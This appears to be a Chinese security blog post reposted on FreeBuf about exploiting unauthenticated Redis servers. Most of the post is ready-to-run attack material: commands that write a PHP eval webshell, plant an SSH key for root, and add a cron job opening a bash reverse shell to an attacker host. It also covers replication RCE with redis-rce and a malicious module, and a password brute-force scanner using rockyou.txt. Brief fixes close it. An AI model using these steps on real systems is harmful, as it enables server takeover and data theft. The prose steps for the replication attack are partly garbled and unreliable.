freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Redis-未授权访问漏洞
2024-04-06 23:09:34

文章源地址:Redis-未授权访问漏洞 – why403

Redis未授权访问漏洞是一个严重的安全问题,它允许未经身份验证的用户访问Redis服务器并执行各种操作,这可能导致数据泄露、数据损坏甚至服务器被恶意控制。以下是关于Redis未授权访问漏洞的详细介绍和利用方法。

影响版本:Redis 4.x/5.x 及以下版本。

原理

Redis是一个开源的键值存储系统,通常用作数据库、缓存和消息代理。在默认情况下,Redis会监听在6379端口上,如果没有设置密码认证(通常为空),那么任何能够访问该端口的用户都可以执行Redis命令,包括读取、写入数据和执行管理操作。

利用

redis-cli -h ip -p prot // 连接redis数据库

写入webshell

条件:对web服务目录具有写权限

redis-cli -h 10.10.10.1 //连接redis
config set dir /var/www/html/ //设置数据库目录
config set dbfilename shell.php //设置数据库文件
set xxx “<?php eval($_GET[‘cmd’]);?>”
save

添加ssh公钥

条件:对/root/.ssh/authorlized_keys文件有写权限

ssh-keygen -t rsa//生成ssh密钥-t指定加密类型

cat rsa.txt.pub | redis-cli -h 10.10.10.1 set xxx //将公钥添加进redis

redis-cli -h 10.10.10.1 config set dir /root/.ssh //设置数据库目录

redis-cli -h 10.10.10.1 config set dbfilename authorlized_keys //设置数据库文件

save //保存

sudo ssh -i ./rsa.txt.pub root@10.10.10.1

添加自动任务执行反弹shell

条件:对计划任务文件有写权限

redis-cli -h 10.10.10.1 //连接redis
config set dir /var/spool/cron/crontabs //设置数据库目录
config set dbfilename root //设置数据库文件
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/8888 0>&1\n\n”
save //保存进数据库文件
添加自动任务后在本地建立监听
nc -lvnp 8888

注意:
前面五个星号分别表示 分 时 天 月 周一般用于具体的定时时间。后面就是执行的命令。
/var/spool/cron/crontabs/root是一个在Unix和类Unix操作系统中用于存储root用户crontab文件的路径2。crontab是一个用于设置周期性被执行的任务的工具,它允许用户安排在特定时间或周期性地执行脚本和命令

这里也可以写入 /etc/crontab文件

利用Redis主从复制GetShell

该方法可以用于任何获取到redis登录权限的GetShell

redis主从复制是什么

Redis 主从复制是 Redis 提供的一种数据备份和分片机制,它允许一个或多个从服务器(slave)复制和同步一个主服务器(master)的数据。这种机制在 Redis 中用于提高数据的可靠性、可用性和可扩展性。

以下是 Redis 主从复制的一些关键特性和用途:

  1. 数据备份:通过主从复制,可以将主服务器的数据复制到一个或多个从服务器上,这样即使主服务器发生故障,从服务器也可以作为备用服务器使用,从而保证数据的安全性。
  2. 读写分离:在主从复制架构中,所有的写操作都在主服务器上执行,而读操作可以在从服务器上进行。这样可以分散读请求,减轻主服务器的压力,提高系统的吞吐量。
  3. 负载均衡:通过在多个从服务器之间分配读请求,可以实现负载均衡,进一步提高系统的处理能力。
  4. 数据分片:在 Redis 集群中,主从复制可以用于数据分片,每个分片可以有一个主节点和多个从节点,这样可以在多个节点之间分散数据,提高数据的可用性和容错能力。
  5. 故障转移:在主服务器发生故障时,从服务器可以接管服务,成为新的主服务器,从而实现故障转移。这通常通过手动或自动的故障转移机制来完成。
  6. 数据同步:从服务器会持续同步主服务器的数据,确保数据的一致性。在主服务器上进行的任何更改都会很快地复制到从服务器上。
  7. 可扩展性:通过增加更多的从服务器,可以水平扩展 Redis 的读能力,从而支持更多的并发用户和更大的数据量。

Redis 主从复制的配置相对简单,通常在 Redis 配置文件中设置 slaveof <master-ip> <master-port>指令即可启动复制过程。

原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。攻击者通过在Redis服务器上执行特定的命令,利用主从复制的机制,使得从服务器加载一个恶意的共享对象(SO文件),从而在从服务器上执行任意代码,包括反弹Shell。

实现步骤

  1. 配置主从复制:攻击者需要配置Redis实例之间的主从复制关系。这通常通过发送SLAVEOF <master-ip> <master-port>命令到从服务器来完成,使从服务器连接到攻击者控制的主服务器。
  2. 上传恶意SO文件:攻击者需要上传一个恶意的SO文件到主服务器。这个文件将包含用于创建反弹Shell的代码。上传可以通过Redis的MODULE LOAD命令完成。
  3. 配置从服务器加载恶意SO文件:攻击者通过发送CONFIG SET module-load命令到从服务器,使其在下一次重新加载配置时执行恶意SO文件。
  4. 触发SO文件执行:攻击者可以通过发送COMMAND命令到从服务器,触发恶意SO文件中的代码执行,从而在从服务器上打开一个反弹Shell。
  5. 建立反向连接:攻击者在主服务器上监听一个端口,等待从服务器通过Redis命令触发的反弹Shell连接到这个端口,从而建立一个反向Shell连接。
  6. 获取Shell访问:一旦反向Shell连接建立,攻击者就可以通过这个Shell访问从服务器,执行任意命令。

一、准备可以执行命令的恶意模块:

RedisModules-ExecuteCommand是一个可以执行命令的redis模块

git clone https://github.com/gysf666/RedisModules-ExecuteCommand.git //下载模块
make //编译模块

二、准备一个服务端向从设备提供恶意模块

我们用一个自动化的工具redis-rce来模拟上述实现步骤

用到的工具

git clone https://github.com/Ridter/redis-rce.git

工具的使用帮助

python redis-rce.py -r 10.10.10.1 -p 6379 -L 10.10.10.128 -P 7777 -f ./module.so // -r 指定目标主机 -p 指定目标端口 -L指定监听主机 -P 指定监听端口

运行之后在redis上设置主设备到攻击机
redis-cli -h 10.10.10.1 -p 6379
slaveof 10.10.10.1 7777

成功获取主机shell

python 自动化检测redis未授权访问漏洞

# 测试弱口令和未授权访问
import socket
import sys
pwdFile='./rockyou.txt'
# host格式10.10.10.1:6379
HOSTFile='./host.txt' 
def check_unAuth(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+]存在未授权访问漏洞"
elif "Authentication" in result:
return u""
except Exception as e:
pass
def check_week(ip,port,timeout):
try:
f=open(pwdFile,'r')
password=f.readline()
while password:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(password))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (password)
password=f.readline()
except Exception as e:
pass
if __name__ == '__main__':
host_f=open(HOSTFile,'r')
host=host_f.readline()
while host:
ip=host.split(":")[0]
port=host.split(":")[1]
if port == '':
port='6379'
print(check_unAuth(ip,port, timeout=10))
print(check_week(ip,port, timeout=10))
host=host_f.readline()#! /usr/bin/env python # _*_ coding:utf-8 _*_ # 测试弱口令和未授权访问 import socket import sys pwdFile='./rockyou.txt' def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授权访问" elif "Authentication" in result: f=open(pwdFile,'r') password=f.readline() while password: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(password)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (password) password=f.readline() except Exception as e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print(check(ip,port, timeout=10))

漏洞修复

为了修复Redis未授权访问漏洞,可以采取以下措施:

  1. 设置密码认证:在Redis配置文件中启用requirepass选项,并设置一个强密码。
  2. 限制访问:修改bind配置,只允许信任的IP地址访问Redis服务。
  3. 使用安全通信:通过SSL/TLS加密Redis客户端和服务器之间的通信。
  4. 监控和日志记录:开启Redis的日志记录功能,监控可疑的访问和操作。
  5. 及时更新:保持Redis版本更新,以修复已知的安全漏洞。

通过上述措施,可以有效地减少Redis未授权访问漏洞的风险,保护服务器和数据的安全。

# Redis未授权访问漏洞 # redis本地主从复制RCE # Redis漏洞总结
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者